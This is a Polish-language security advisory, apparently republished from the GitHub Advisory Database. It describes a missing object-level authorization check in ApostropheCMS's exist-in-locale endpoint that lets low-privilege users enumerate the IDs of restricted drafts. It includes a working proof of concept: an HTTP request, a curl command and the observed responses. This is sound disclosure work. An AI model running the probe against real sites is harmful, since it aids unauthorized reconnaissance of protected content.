Średnia

ApostropheCMS: Pominięcie autoryzacji na poziomie obiektu w exist-in-locale ujawnia identyfikatory zastrzeżonych wersji roboczych

  • Ujawniono: 20.10.2026
  • Aktualizacja: 20.10.2026 21:31

Podsumowanie

Interfejs API exist-in-locale w ApostropheCMS pozwala uwierzytelnionemu użytkownikowi o niskich uprawnieniach ustalić, czy zastrzeżone dokumenty istnieją w określonej lokalizacji (locale) i trybie, w tym w trybie roboczym (draft). Punkt końcowy zwraca zlokalizowane identyfikatory dokumentów bez weryfikacji kryteriów uprawnień do przeglądania lub edycji na poziomie dokumentu.

Problem został odtworzony w rzeczywistej lokalnej aplikacji ApostropheCMS z uruchomionym zweryfikowanym kodem źródłowym. Do testów użyto syntetycznego konta gościa oraz syntetycznych zastrzeżonych rekordów wersji roboczych.

Szczegóły

Dokładna podatna ścieżka w kodzie źródłowym: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529 Dokładna trasa API: POST /api/v1/@apostrophecms/i18n/exist-in-locale Funkcja obsługująca weryfikuje jedynie, czy żądający jest uwierzytelniony:

if (!req.user) {
  throw self.apos.error('notfound');
}

Następnie wykonuje bezpośrednie zapytanie do bazy danych, używając kontrolowanych przez atakującego identyfikatorów dokumentów, lokalizacji i trybu:

const found = await self.apos.doc.db.find({
  aposLocale: `${locale}:${mode}`,
  aposDocId: {
    $in: ids.map(self.apos.doc.toAposDocId)
  }
}).project({
  _id: 1,
  aposDocId: 1
}).toArray();

To zapytanie nie stosuje:

  • .permission('view')
  • .permission('edit')
  • apos.permission.criteria(req, 'view')
  • autoryzacji dokumentu na poziomie obiektu
  • autoryzacji specyficznej dla danej lokalizacji

Punkt końcowy akceptuje wiele identyfikatorów, co umożliwia masowe odpytywanie (bulk probing).

Proof of Concept

Lokalna aplikacja działała pod adresem: http://127.0.0.1:3000 Konto testowe posiadało uprawnienia o niskim poziomie: guest Lokalna baza danych zawierała syntetyczne rekordy dla bazowego ID zastrzeżonego dokumentu:

wv2l4rbaplgzkg80zkne4aoz:en:draft
wv2l4rbaplgzkg80zkne4aoz:fr:draft

Wszystkie dane uwierzytelniające i pliki cookie zostały celowo zanonimizowane poniżej.

POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Content-Type: application/json
Accept: application/json

{
  "ids": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft",
    "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
  ],
  "locale": "fr",
  "mode": "draft"
}

Równoważne polecenie

bash
curl -i -sS -X POST \
  'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \
  -b /path/to/redacted-guest-cookie-jar.txt \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json' \
  --data-raw '{
    "ids": [
      "wv2l4rbaplgzkg80zkne4aoz:en:draft",
      "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
    ],
    "locale": "fr",
    "mode": "draft"
  }'

Zaobserwowana odpowiedź

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
{
  "originalLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft"
  ],
  "newLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:fr:draft"
  ],
  "aposDocIds": [
    "wv2l4rbaplgzkg80zkne4aoz"
  ]
}

Nieistniejący identyfikator został pominięty w odpowiedzi. Potwierdza to, że punkt końcowy działa jako wyrocznia istnienia (existence oracle).

Kontrola autoryzacji Korzystając z tej samej uwierzytelnionej sesji gościa i zwróconego powyżej zlokalizowanego identyfikatora dokumentu, wykonano zapytanie do standardowego API stron:

GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Accept: application/json

Zaobserwowana odpowiedź:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
  "name": "forbidden",
  "data": {},
  "message": "forbidden"
}

Wyraźnie obrazuje to granicę autoryzacji:

Żądanie Wynik
Standardowe API stron dla zastrzeżonego szkicu 403 Forbidden
exist-in-locale dla tego samego zastrzeżonego szkicu 200 OK ze zlokalizowanym ID dokumentu
exist-in-locale dla nieistniejącego ID 200 OK z pustymi tablicami

Dodatkowa weryfikacja wpływu

Zachowanie zostało również przetestowane pod kątem wielu kombinacji lokalizacji i trybów:

Zapytanie Wynik
locale=fr, mode=draft Zwrócono wv2l4rbaplgzkg80zkne4aoz:fr:draft
locale=fr, mode=published Zwrócono puste tablice, ponieważ brak opublikowanego rekordu
locale=de, mode=draft Zwrócono puste tablice, ponieważ brak niemieckiego rekordu
Dwa ID w jednym żądaniu Zwrócono istniejący ID; pominięto nieistniejący ID

Potwierdza to, że punkt końcowy może zostać wykorzystany do ustalenia, czy dokument ma zlokalizowaną wersję roboczą w danej lokalizacji oraz do przeprowadzania masowej enumeracji.

Wpływ

Uwierzytelniony użytkownik o niskich uprawnieniach może:

  • Odpytywać o dowolne znane lub odgadnięte bazowe identyfikatory dokumentów.
  • Ustalać, czy zastrzeżone dokumenty mają zlokalizowane wersje.
  • Ustalać, czy istnieją nieopublikowane wersje robocze.
  • Identyfikować, które lokalizacje zawierają pasujące rekordy.
  • Uzyskiwać dokładne zlokalizowane identyfikatory dokumentów.
  • Przesyłać wiele identyfikatorów w jednym żądaniu w celu masowego rozpoznania.

Podatność nie ujawnia bezpośrednio treści dokumentu ani nie przyznaje uprawnień do zapisu, publikacji ani usuwania. Podczas testów żadne treści nie zostały zmodyfikowane, opublikowane, usunięte ani ujawnione poza metadanymi identyfikatorów.

Zalecane środki zaradcze

Przed wykonaniem zapytania do bazy danych należy zastosować te same kryteria autoryzacji na poziomie dokumentu, których używa standardowe API dokumentów. Zapytanie powinno być ograniczone do dokumentów, do których przeglądania żądający jest uprawniony w danej lokalizacji i trybie. Zapytania o wersje robocze powinny dodatkowo wymagać odpowiednich uprawnień do przeglądania wersji roboczych danego dokumentu, a nie jedynie uwierzytelnienia czy globalnej weryfikacji roli. Punkt końcowy powinien również unikać zwracania zlokalizowanych identyfikatorów dla rekordów, które nie spełniają kryteriów uprawnień żądającego na poziomie dokumentu.

Co trzeba zrobić

Zaktualizuj pakiet ApostropheCMS do wersji 4.33.0 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm apostrophe < 4.33.0 4.33.0

Odnośniki

Ocena CVSS 4.3/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Słabość (CWE)
CWE-862
Platforma
npm
Paczka
apostrophe
Ujawniono
20.10.2026
Aktualizacja
20.10.2026 21:31

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-vmxh-77cw-65j7 - CC BY 4.0

Historia podatności: apostrophe

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (27) w archiwum
Wszystkich wpisów
27
Pierwsza → ostatnia
09.2020 10.2026
Bez poprawki
4
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 2
  • Wysoka 8
  • Średnia 13
  • Niska 4

Ujawnienia w latach

  1. 2020: 2
  2. 2021: 2
  3. 2022: 0
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 23
Istotność:
  1. ApostropheCMS: Pominięcie autoryzacji na poziomie obiektu w exist-in-locale ujawnia identyfikatory zastrzeżonych wersji roboczych ten wpis
    Średnia · 4.3 CVE-2026-113660 < 4.33.0 4.33.0
  2. Wysoka · 7.3 CVE-2026-45011 = 4.29.0 brak poprawki
  3. Krytyczna · 9.8 CVE-2021-25979 >= 2.63.0, < 3.4.0 3.4.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.